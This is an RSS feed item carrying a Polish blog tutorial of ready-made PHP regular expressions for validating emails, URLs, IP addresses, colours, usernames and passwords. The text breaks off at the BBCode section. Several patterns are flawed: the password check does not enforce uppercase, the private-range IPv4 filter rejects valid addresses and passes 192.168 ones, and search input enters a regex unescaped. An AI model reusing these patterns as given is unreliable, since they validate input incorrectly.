<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>m1chu.eu - another devblog &#187; Server-side</title>
	<atom:link href="http://m1chu.eu/category/webmastering/server-side/feed/" rel="self" type="application/rss+xml" />
	<link>http://m1chu.eu</link>
	<description>we live, as we dream... alone - another devblog</description>
	<lastBuildDate>Sun, 14 Nov 2010 11:07:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>15 przydatnych wyrażeń regularnych w PHP</title>
		<link>http://m1chu.eu/2009/10/13/15-przydatnych-wyrazen-regularnych-w-php/</link>
		<comments>http://m1chu.eu/2009/10/13/15-przydatnych-wyrazen-regularnych-w-php/#comments</comments>
		<pubDate>Tue, 13 Oct 2009 20:23:51 +0000</pubDate>
		<dc:creator>m1chu</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webhosting]]></category>
		<category><![CDATA[Świat IT]]></category>
		<category><![CDATA[e-mail]]></category>
		<category><![CDATA[pear]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[regexp]]></category>
		<category><![CDATA[regexp.pl]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[wyrażenia regularne]]></category>
		<category><![CDATA[wzorzec]]></category>

		<guid isPermaLink="false">http://m1chu.eu/?p=1536</guid>
		<description><![CDATA[W pewnym stadium zaawansowania wyrażenia regularne stają się potężnym narzędziem każdego programisty PHP (i nie tylko). A to dlatego, że pozwalają na wykonywanie operacji, których często nie sposób dokonać w prosty sposób przy pomocy standardowych funkcji zawartych w tym języku. Walidacja zawartości zmiennych, czy podmienianie specyficznej części ich zawartości &#8211; na to pozwalają wyrażenia regularne. [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="iborder" src="http://images.m1chu.eu/index.php?res=MTNfMDlfMDlfMTVfcmVnZXhwczsxNV9yZWdleHBzX3Bvc3RfaGVhZGVyLnBuZw==" alt="Gotowe wyrażenia regularne" style="height: 119px;" /></p>
<p>W pewnym stadium zaawansowania wyrażenia regularne stają się potężnym narzędziem każdego programisty PHP (i nie tylko). A to dlatego, że pozwalają na wykonywanie operacji, których często nie sposób dokonać w prosty sposób przy pomocy standardowych funkcji zawartych w tym języku. Walidacja zawartości zmiennych, czy podmienianie specyficznej części ich zawartości &#8211; na to pozwalają wyrażenia regularne. 15-ście przykładowych, najbardziej niezbędnych dla każdego web developera, skompletowałem w dalszej części artykułu. Do Waszej dyspozycji oddaję także prosty <a target="_blank" href="http://regexp.pl/"  title="regexp.pl - tester wyrażeń regularnych"><strong>serwis</strong></a> sprawdzający poprawność wprowadzanych wzorców.</p>
<p><span id="more-1536"></span></p>
<h2>1. Walidacja adresu e-mail opartego na hoście</h2>
<h3>Wzorzec:</h3>
<pre class="brush: plain; title: ;">/^([a-z0-9]{1})([^\s\t\.@]*)((\.[^\s\t\.@]+)*)@([a-z0-9]{1})((([a-z0-9-]*[-]{2})|([a-z0-9])*|([a-z0-9-]*[-]{1}[a-z0-9]+))*)((\.[a-z0-9](([a-z0-9-]*[-]{2})|([a-z0-9]*)|([a-z0-9-]*[-]{1}[a-z0-9]+))+)*)\.([a-z0-9]{2,6})([.]?)$/Diu</pre>
<h3>Opis:</h3>
<p>Wyrażenie ma za zadanie sprawdzać, czy wprowadzony przez użytkownika adres e-mail ma poprawną formę. Aby test zakończył się sukcesem muszą zostać spełnione następujące warunki:</p>
<ul>
<li>nazwa użytkownika musi zaczynać się od znaku litery lub cyfry, nie może zawierać spacji, tabulatorów, aty, za to mogą się znajdować w nim kropki, pod warunkiem, że nie występują jedna, po drugiej,</li>
<li>po nazwie użytkownika musi pojawiać się znak małpy,</li>
<li>domena, podobnie jak nazwa użytkownika, musi rozpoczynać się od litery, bądź cyfry, po czym do znaków dozwolonych dochodzą <strong>-</strong> oraz <strong>.</strong>, pod warunkiem, że pierwszy z wcześniej wymienionych znaków nie znajduje się na początku lub na końcu nazwy subdomeny (wyjątkiem są dwa myślniki na jej końcu odpowiadające często prefiksom <strong>xn--</strong>), a drugi nie jest poprzedzany swoim odpowiednikiem. <a target="_blank" href="http://pl.wikipedia.org/wiki/Domena_najwy%C5%BCszego_poziomu"  title="TLD - informacje">TLD</a> może mieć długość od dwóch do sześciu znaków,</li>
<li>domena może być zakończona kropką,</li>
<li>rozwiązanie nie sprawdza jak długi jest wprowadzony adres e-mail.</li>
</ul>
<h3>Strona testowa:</h3>
<p><a href="http://use.m1chu.eu/-php/-ready-made-expressions/point-email/index.php"  title="Przykład walidacji adresu e-mail">Tutaj</a>.</p>
<h3>Tekst spełniający warunki:</h3>
<p>2.a_a-d@n-do.x-d.pl</p>
<h3>Tekst nie spełniający warunków:</h3>
<p>2.a_a-d@n-do.x-d.v-.pl (część domeny kończąca się nieprawidłowym znakiem)</p>
<h3>Uwagi:</h3>
<p>Jeżeli rozwiązanie w jakimkolwiek stopniu zawiedzie można pokusić się o użycie wyrażenia z ostatniej aktualizacji <a target="_blank" href="http://utnij.eu/f24/"  title="Zmiany w pliku logical_filters.c">pliku logical_filters.c ze źródeł PHP</a>.</p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">$email = trim('adres@domena.pl');
if ( !preg_match('/^([a-z0-9]{1})([^\s\t\.@]*)((\.[^\s\t\.@]+)*)@([a-z0-9]{1})((([a-z0-9-]*[-]{2})|([a-z0-9])*|([a-z0-9-]*[-]{1}[a-z0-9]+))*)((\.[a-z0-9](([a-z0-9-]*[-]{2})|([a-z0-9]*)|([a-z0-9-]*[-]{1}[a-z0-9]+))+)*)\.([a-z0-9]{2,6})([.]?)$/Diu', $email) )
{
	print 'Nieprawidłowy adres e-mail';
}</pre>
<h3>Rozwiązanie oparte o <a target="_blank" href="http://pl2.php.net/filter_var"  title="Specyfikacja filter_var()">filter_var</a> (PHP >= 5.2):</h3>
<pre class="brush: php; title: ;">$email = trim('adres@domena.pl');
if ( (bool)filter_var($email, FILTER_VALIDATE_EMAIL) === false )
{
	print 'Nieprawidłowy adres e-mail';
}</pre>
<h2>2. Walidacja adresu e-mail opartego na hoście lub IPv4 serwera</h2>
<h3>Wzorzec:</h3>
<pre class="brush: plain; title: ;">/^([a-z0-9]{1})([^\s\t\.@]*)((\.[^\s\t\.@]+)*)@((([a-z0-9]{1})((([a-z0-9-]*[-]{2})|([a-z0-9])*|([a-z0-9-]*[-]{1}[a-z0-9]+))*)((\.[a-z0-9](([a-z0-9-]*[-]{2})|([a-z0-9]*)|([a-z0-9-]*[-]{1}[a-z0-9]+))+)*)\.([a-z0-9]{2,6})([.]?))|((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])))$/Diu</pre>
<h3>Opis:</h3>
<p>Wyrażenie ma za zadanie sprawdzać, czy wprowadzony przez użytkownika adres e-mail ma poprawną formę. Aby test zakończył się sukcesem muszą zostać spełnione warunki z poprzedniego punktu oraz:</p>
<ul>
<li>po znaku @ musi się pojawić opisany już wcześniej prawidłowo sformowany host lub adres IPv4 serwera w postaci czterech, dziesiętnych oktetów.</li>
</ul>
<h3>Strona testowa:</h3>
<p><a href="http://use.m1chu.eu/-php/-ready-made-expressions/point-email/index.php"  title="Przykład walidacji adresu e-mail">Tutaj</a>.</p>
<h3>Tekst spełniający warunki:</h3>
<p>2.a_a-d@64.64.100.100</p>
<h3>Tekst nie spełniający warunków:</h3>
<p>2.a_a-d@64.64.256.100 (trzeci oktet jest po za zakresem)</p>
<h3>Uwagi:</h3>
<p>Jeżeli rozwiązanie w jakimkolwiek stopniu zawiedzie można pokusić się o użycie wyrażenia z ostatniej aktualizacji <a target="_blank" href="http://utnij.eu/f24/"  title="Zmiany w pliku logical_filters.c">pliku logical_filters.c ze źródeł PHP</a>.</p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">$email = trim('adres@85.64.100.100');
if ( !preg_match('/^([a-z0-9]{1})([^\s\t\.@]*)((\.[^\s\t\.@]+)*)@((([a-z0-9]{1})((([a-z0-9-]*[-]{2})|([a-z0-9])*|([a-z0-9-]*[-]{1}[a-z0-9]+))*)((\.[a-z0-9](([a-z0-9-]*[-]{2})|([a-z0-9]*)|([a-z0-9-]*[-]{1}[a-z0-9]+))+)*)\.([a-z0-9]{2,6})([.]?))|((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])))$/Diu', $email) )
{
	print 'Nieprawidłowy adres e-mail';
}</pre>
<h3>Rozwiązanie oparte o <a target="_blank" href="http://pl2.php.net/filter_var"  title="Specyfikacja filter_var()">filter_var</a> (PHP >= 5.2):</h3>
<pre class="brush: php; title: ;">$email = trim('adres@domena.pl');
if ( (bool)filter_var($email, FILTER_VALIDATE_EMAIL) === false )
{
	print 'Nieprawidłowy adres e-mail';
}</pre>
<h2>3. Prosta weryfikacja adresu URL</h2>
<h3>Wzorzec:</h3>
<pre class="brush: plain; title: ;">/^(http|ftp)([s]{0,1}):\/\/([a-z0-9]{1})((([a-z0-9-]*[-]{2})|([a-z0-9])*|([a-z0-9-]*[-]{1}[a-z0-9]+))*)((\.[a-z0-9](([a-z0-9-]*[-]{2})|([a-z0-9]*)|([a-z0-9-]*[-]{1}[a-z0-9]+))+)*)(\.([a-z0-9]{2,6})){0,1}((:[0-9]){0}|(:[1-9]{1}[0-9]*))\//iu</pre>
<h3>Opis:</h3>
<p>Zweryfikować, czy użytkownik wprowadził adres URL, wg wzoru:</p>
<pre class="brush: plain; title: ;">protokół://adres_serwera:port/</pre>
<ul>
<li>dozwolone protokoły: <strong>http</strong>, <strong>https</strong>, <strong>ftp</strong>, <strong>ftps</strong>,</li>
<li>adres serwera w formie serwera lokalnego, subdomen, domeny i rozszerzenia,</li>
<li>port jest opcjonalny,</li>
<li>dalsze wprowadzone dane (jak Query String) nie są sprawdzane,</li>
<li>konstrukcja jest przeznaczona do sprawdzanie adresów opartych na IPv4.</li>
</ul>
<h3>Strona testowa:</h3>
<p><a href="http://use.m1chu.eu/-php/-ready-made-expressions/point-url/index.php"  title="Przykład walidacji adresu URL">Tutaj</a>.</p>
<h3>Tekst spełniający warunki:</h3>
<p>http://m1chu.eu/</p>
<h3>Tekst nie spełniający warunków:</h3>
<p>htt://adres.com/temp/ (nieprawidłowy schemat)</p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">$url = trim('http://m1chu.eu');
if ( !preg_match('/^(http|ftp)([s]{0,1}):\/\/([a-z0-9]{1})((([a-z0-9-]*[-]{2})|([a-z0-9])*|([a-z0-9-]*[-]{1}[a-z0-9]+))*)((\.[a-z0-9](([a-z0-9-]*[-]{2})|([a-z0-9]*)|([a-z0-9-]*[-]{1}[a-z0-9]+))+)*)(\.([a-z0-9]{2,6})){0,1}((:[0-9]){0}|(:[1-9]{1}[0-9]*))\//iu', $url) )
{
	print 'Nieprawidłowy adres URL';
}</pre>
<h2>4. Wycinanie hosta z portem z adresu URL</h2>
<h3>Wzorzec:</h3>
<pre class="brush: plain; title: ;">/^(http|ftp)([s]{0,1}):\/\/((.*)\.[a-z0-9]{2,6}|((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5]))){0,1}((:[0-9]){0}|(:[1-9]{1}[0-9]*))\//iu</pre>
<h3>Opis:</h3>
<p>Pobrać host wraz z portem (jeżeli został podany) z URI. Pozostałe zasady są tożsame z wymienionymi w poprzednim punkcie.</p>
<h3>Strona testowa:</h3>
<p><a href="http://use.m1chu.eu/-php/-ready-made-expressions/point-extract-domain/index.php"  title="Przykład wycinania hosta z portem">Tutaj</a>.</p>
<h3>Tekst spełniający warunki:</h3>
<p>http://m1chu.eu:80/ (zwróci: m1chu.eu:80)</p>
<h3>Tekst nie spełniający warunków:</h3>
<p>htt://adres.com/temp/ (nieprawidłowy schemat)</p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">$url = trim('ftps://stro.eu:1000/file.exe');
if ( preg_match('/^(http|ftp)([s]{0,1}):\/\/((.*)\.[a-z0-9]{2,6}|((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5]))){0,1}((:[0-9]){0}|(:[1-9]{1}[0-9]*))\//iu', $url, $matches) )
{
	// $matches[3] - nazwa serwera z domeną lub adres IPv4
	// $matches[10] - port
	print $matches[3] . ':' . $matches[10];
}</pre>
<h2>5. Sprawdzanie adresu IP (protokół IPv4)</h2>
<h3>Wzorzec:</h3>
<pre class="brush: plain; title: ;">/^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/Du</pre>
<h3>Opis:</h3>
<p>Wykryć poprawność wprowadzonego w formie dziesiętnych oktetów IP (w wersji czwartej protokołu).</p>
<h3>Strona testowa:</h3>
<p><a href="http://use.m1chu.eu/-php/-ready-made-expressions/point-ipv4/index.php"  title="Przykład walidacji adresu IPv4">Tutaj</a>.</p>
<h3>Tekst spełniający warunki:</h3>
<p>0.0.0.0</p>
<h3>Tekst nie spełniający warunków:</h3>
<p>101.256.0.1 (drugi oktet poza zakresem)</p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">$ipv4 = trim('192.168.0.1');
if ( !preg_match('/^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/Du', $ipv4) )
{
	print 'Nieprawidłowy adres IPv4';
}</pre>
<h3>Rozwiązanie oparte o <a target="_blank" href="http://pl2.php.net/filter_var"  title="Specyfikacja filter_var()">filter_var</a> (PHP >= 5.2):</h3>
<pre class="brush: php; title: ;">$ipv4 = trim('192.168.0.1');
if ( (bool)filter_var($ipv4, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) === false )
{
	print 'Nieprawidłowy adres IPv4';
}</pre>
<h2>6. Sprawdzamy adres IP z wykluczeniem puli prywatnych adresów (protokół IPv4)</h2>
<h3>Wzorzec:</h3>
<pre class="brush: plain; title: ;">/^([1-9]{1}[1-9]{0,1}|1\d([1-6]{1}|[8-9]{1})|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-4])$/Du</pre>
<h3>Opis:</h3>
<p>Wykryć poprawność wprowadzonego IP (w wersji czwartej protokołu) z wykluczeniem części prywatnych i zastrzeżonych pul. Metoda nie dotyczy masek podsieci. Objęte wyjątki:</p>
<ul>
<li>10.0.0.0 &#8211; 10.255.255.255,</li>
<li>0.0.0.0 &#8211; 0.255.255.255,</li>
<li>255.255.255.255,</li>
<li>127.0.0.0 &#8211; 127.255.255.255.</li>
</ul>
<h3>Strona testowa:</h3>
<p><a href="http://use.m1chu.eu/-php/-ready-made-expressions/point-ipv4-noprivate/index.php"  title="Przykład walidacji adresu IPv4 z wykluczeniem puli prywatnych adresów">Tutaj</a>.</p>
<h3>Tekst spełniający warunki:</h3>
<p>192.168.0.136</p>
<h3>Tekst nie spełniający warunków:</h3>
<p>0.0.0.0 (adres prywatny)</p>
<h3>Uwagi:</h3>
<p>Stosując funkcję ze zbioru <strong>filter_*</strong> odrzucone zostaną wszystkie zakresy adresów prywatnych i zastrzeżonych (np. 255.255.255.x).</p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">$ipv4 = trim('68.78.205.0');
if ( !preg_match('/^([1-9]{1}[1-9]{0,1}|1\d([1-6]{1}|[8-9]{1})|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-4])$/Du', $ipv4) )
{
	print 'Nieprawidłowy adres IPv4';
}</pre>
<h3>Rozwiązanie oparte o <a target="_blank" href="http://pl2.php.net/filter_var"  title="Specyfikacja filter_var()">filter_var</a> (PHP >= 5.2):</h3>
<pre class="brush: php; title: ;">$ipv4 = trim('68.78.205.0');
if ( (bool)filter_var($ipv4, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false )
{
	print 'Nieprawidłowy adres IPv4';
}</pre>
<h2>7. Sprawdzamy adres IP (protokół <a target="_blank" href="http://pl.wikipedia.org/wiki/IPv6"  title="IPv6 - informacje">IPv6</a> i IPv4)</h2>
<h3>Wzorzec:</h3>
<pre class="brush: plain; title: ;">/^((([0-9A-Fa-f]{1,4}:){7}(([0-9A-Fa-f]{1,4})|:))|(([0-9A-Fa-f]{1,4}:){6}(:|((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})|(:[0-9A-Fa-f]{1,4})))|(([0-9A-Fa-f]{1,4}:){5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){4}(:[0-9A-Fa-f]{1,4}){0,1}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){3}(:[0-9A-Fa-f]{1,4}){0,2}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){2}(:[0-9A-Fa-f]{1,4}){0,3}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:)(:[0-9A-Fa-f]{1,4}){0,4}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(:(:[0-9A-Fa-f]{1,4}){0,5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})))(%.+)?$/Du</pre>
<h3>Opis:</h3>
<p>Wykryć poprawność wprowadzonego IP (w wersji szóstej i czwartej protokołu).</p>
<h3>Strona testowa:</h3>
<p><a href="http://use.m1chu.eu/-php/-ready-made-expressions/point-ipv6/index.php"  title="Przykład walidacji adresu IPv6">Tutaj</a>.</p>
<h3>Tekst spełniający warunki:</h3>
<p>fe80:0:0:0:0204:61ff:254.157.241.86</p>
<h3>Tekst nie spełniający warunków:</h3>
<p>2001:::db8:: (błędna notacja)</p>
<h3>Uwagi:</h3>
<p>Stosując funkcję ze zbioru <strong>filter_*</strong> odrzucone zostaną wszelkie adresy <a target="_blank" href="http://pl.wikipedia.org/wiki/IPv4"  title="IPv4 - informacje">IPv4</a>. W przedstawionym wyrażeniu regularnym adresy z tej wersji są akceptowane zarówno występując samotnie, jak i w postaci sekwencji czterech ostatnich bajtów w IPv6 (np. :247.125.68.4).</p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">$ipv6 = trim('fe80::204:61ff:fe9d:f156');
if ( !preg_match('/^((([0-9A-Fa-f]{1,4}:){7}(([0-9A-Fa-f]{1,4})|:))|(([0-9A-Fa-f]{1,4}:){6}(:|((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})|(:[0-9A-Fa-f]{1,4})))|(([0-9A-Fa-f]{1,4}:){5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){4}(:[0-9A-Fa-f]{1,4}){0,1}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){3}(:[0-9A-Fa-f]{1,4}){0,2}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){2}(:[0-9A-Fa-f]{1,4}){0,3}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:)(:[0-9A-Fa-f]{1,4}){0,4}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(:(:[0-9A-Fa-f]{1,4}){0,5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})))(%.+)?$/Du', $ipv6) )
{
	print 'Nieprawidłowy adres IPv6/IPv4';
}</pre>
<h3>Rozwiązanie oparte o <a target="_blank" href="http://pl2.php.net/filter_var"  title="Specyfikacja filter_var()">filter_var</a> (PHP >= 5.2):</h3>
<pre class="brush: php; title: ;">$ipv6 = trim('fe80::204:61ff:fe9d:f156');
if ( (bool)filter_var($ipv6, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) === false )
{
	print 'Nieprawidłowy adres IPv6';
}</pre>
<h2>8. Wykrywanie kolorów RGB w postaci szesnastkowej</h2>
<h3>Wzorzec:</h3>
<pre class="brush: plain; title: ;">/^#?[0-9a-f]{3}(?:[0-9a-f]{3})?$/Diu</pre>
<h3>Opis:</h3>
<p>Sprawdzić, czy wprowadzone dane są szesnastkowymi odpowiednikami zapisu kolorów modelu RGB.</p>
<h3>Strona testowa:</h3>
<p><a href="http://use.m1chu.eu/-php/-ready-made-expressions/point-hex-color/index.php"  title="Przykład wykrywania koloru w postaci szesnastkowej">Tutaj</a>.</p>
<h3>Tekst spełniający warunki:</h3>
<p>#ff0000</p>
<h3>Tekst nie spełniający warunków:</h3>
<p>#a0hfg1 (g i h nie są znakami używanymi przy zapisie heksadecymalnym)</p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">$hex = trim('#0F15a2');
if ( !preg_match('/^#?[0-9a-f]{3}(?:[0-9a-f]{3})?$/Diu', $hex) )
{
	print 'Nieprawidłowy kod szesnastkowy koloru!';
}</pre>
<h2>9. Proste sprawdzenie nazwy użytkownika</h2>
<h3>Wzorzec:</h3>
<pre class="brush: plain; title: ;">/^([a-z0-9]{1})([a-z0-9_-]{2,11})$/Diu</pre>
<h3>Opis:</h3>
<p>Wprowadzone dane muszą rozpoczynać się od znaku alfanumerycznego. Kolejne znaki mogą być ponadto myślnikiem lub podkreśleniem. Długość tekstu nie może być większa niż 12ście znaków.</p>
<h3>Strona testowa:</h3>
<p>Brak.</p>
<h3>Tekst spełniający warunki:</h3>
<p>m1chu</p>
<h3>Tekst nie spełniający warunków:</h3>
<p>_nick (pierwszy znak nie jest cyfrą, ani literą)</p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">$username = trim('m1chu');
if ( !preg_match('/^([a-z0-9]{1})([a-z0-9_-]{2,11})$/Diu', $username) )
{
	print 'Nieprawidłowa nazwa użytkownika!';
}</pre>
<h2>10. Proste sprawdzenie hasła użytkownika</h2>
<h3>Wzorzec:</h3>
<pre class="brush: plain; title: ;">/^(?=[a-z0-9_#@%\*-]*?[A-Z])(?=[a-z0-9_#@%\*-]*?[a-z])(?=[a-z0-9_#@%\*-]*?[0-9])([a-z0-9_#@%\*-]{8,24})$/Diu</pre>
<h3>Opis:</h3>
<p>Wpisane hasło użytkownika musi mieć od ośmiu, do dwudziestu czterech znaków, pośród których musi być co najmniej jedna wielka litera, jedna mała i jedna cyfra. Dodatkowo dozwolone są: <strong>_</strong>, <strong>#</strong>, <strong>@</strong>, <strong>%</strong>, <strong>*</strong> i <strong>-</strong>.</p>
<h3>Strona testowa:</h3>
<p>Brak.</p>
<h3>Tekst spełniający warunki:</h3>
<p>1xY#n6%2V</p>
<h3>Tekst nie spełniający warunków:</h3>
<p>@1bbd2 (za krótki ciąg, brak wielkiej litery)</p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">$password = trim('To#jEst@_haSL-o%usera*');
if ( !preg_match('/^(?=[a-z0-9_#@%\*-]*?[A-Z])(?=[a-z0-9_#@%\*-]*?[a-z])(?=[a-z0-9_#@%\*-]*?[0-9])([a-z0-9_#@%\*-]{8,24})$/Diu', $password) )
{
	print 'Nieprawidłowa nazwa użytkownika!';
}</pre>
<h2>11. Zaznaczanie frazy w tekście</h2>
<h3>Wzorzec:</h3>
<pre class="brush: plain; title: ;">/\b(fraza)\b/iu</pre>
<h3>Opis:</h3>
<p>Zamienianie podanej frazy na inną lub wystylowanie jej formy. Przydatna funkcja w wyszukiwarkach.</p>
<h3>Strona testowa:</h3>
<p>Brak.</p>
<h3>Działanie:</h3>
<p>szukana_fraza -> <strong>szukana_fraza</strong></p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">$text = 'Wyszukane frazy: wyrażenia, regularne, preg_match, preg_replace';
$find = 'regularne';
print preg_replace('/\b(' . $find . ')\b/iu', '&lt;strong&gt;\\1&lt;/strong&gt;', $text);</pre>
<h3>Rozwiązanie oparte o <a target="_blank" href="http://pl2.php.net/manual/en/function.str-ireplace.php"  title="Specyfikacja str_ireplace()">str_ireplace</a>:</h3>
<pre class="brush: php; title: ;">$text = 'Wyszukane frazy: wyrażenia, regularne, preg_match, preg_replace';
$find = 'regularne';
print str_ireplace($find, '&lt;strong&gt;' . $find . '&lt;/strong&gt;', $text);</pre>
<h2>12. Zamiana tekstowych emotikon na graficzne</h2>
<h3>Opis:</h3>
<p>Podmiana tekstowych uśmieszków na ich odpowiedniki graficzne. Wersja z użyciem <strong>str_ireplace</strong>.</p>
<h3>Strona testowa:</h3>
<p>Brak.</p>
<h3>Rozwiązanie oparte o wbudowaną funkcję PHP:</h3>
<pre class="brush: php; title: ;">$text_format = array(
	array(';)', ';-)', 'x)', ';]', ';-]'),
	array(':)', ':-)', '=)', ':]', ':-]'),
	array(':(', ':-(', '=(', ':[', ':-['),
	array(';(', ';-(', 'x(', ';[', ';-['),
	array(':P', ':-P', '=P'),
	array(':D', ':-D', '=D'),
	array(':*', ':-*', '=*'),
	array(':O', ':-O', '=O'),
	array(':/', ':-/', '=/')
	);

$image_format = array(
	'wink.png',
	'smile.png',
	'sad.png',
	'cry.png',
	'tongue.png',
	'bigsmile.png',
	'kiss.png',
	'surprise.png',
	'grimace.png'
	);

$text = 'To jest przykładowy tekst ;] Prawda, że fajny? :-D Pogrymasiłbym trochę =/, ale po co? :) Także do zobaczenia :*';

foreach ( $text_format as $key =&gt; $val )
{
	$text = str_ireplace($val, '&lt;img src=&quot;smiles/' . $image_format[$key] . '&quot; alt=&quot;' . $image_format[$key] . '&quot; /&gt;', $text);
}

print $text;</pre>
<h2>13. Zamiana BBCode na HTML</h2>
<h3>Wzorzec przykładowy:</h3>
<pre class="brush: plain; title: ;">/\[b\](.*?)\[\/b\]/Dius</pre>
<h3>Opis:</h3>
<p>Podmiana BBCode poprzez kod HTML. Funkcjonalność znana z forów internetowych.</p>
<h3>Strona testowa:</h3>
<p>Brak.</p>
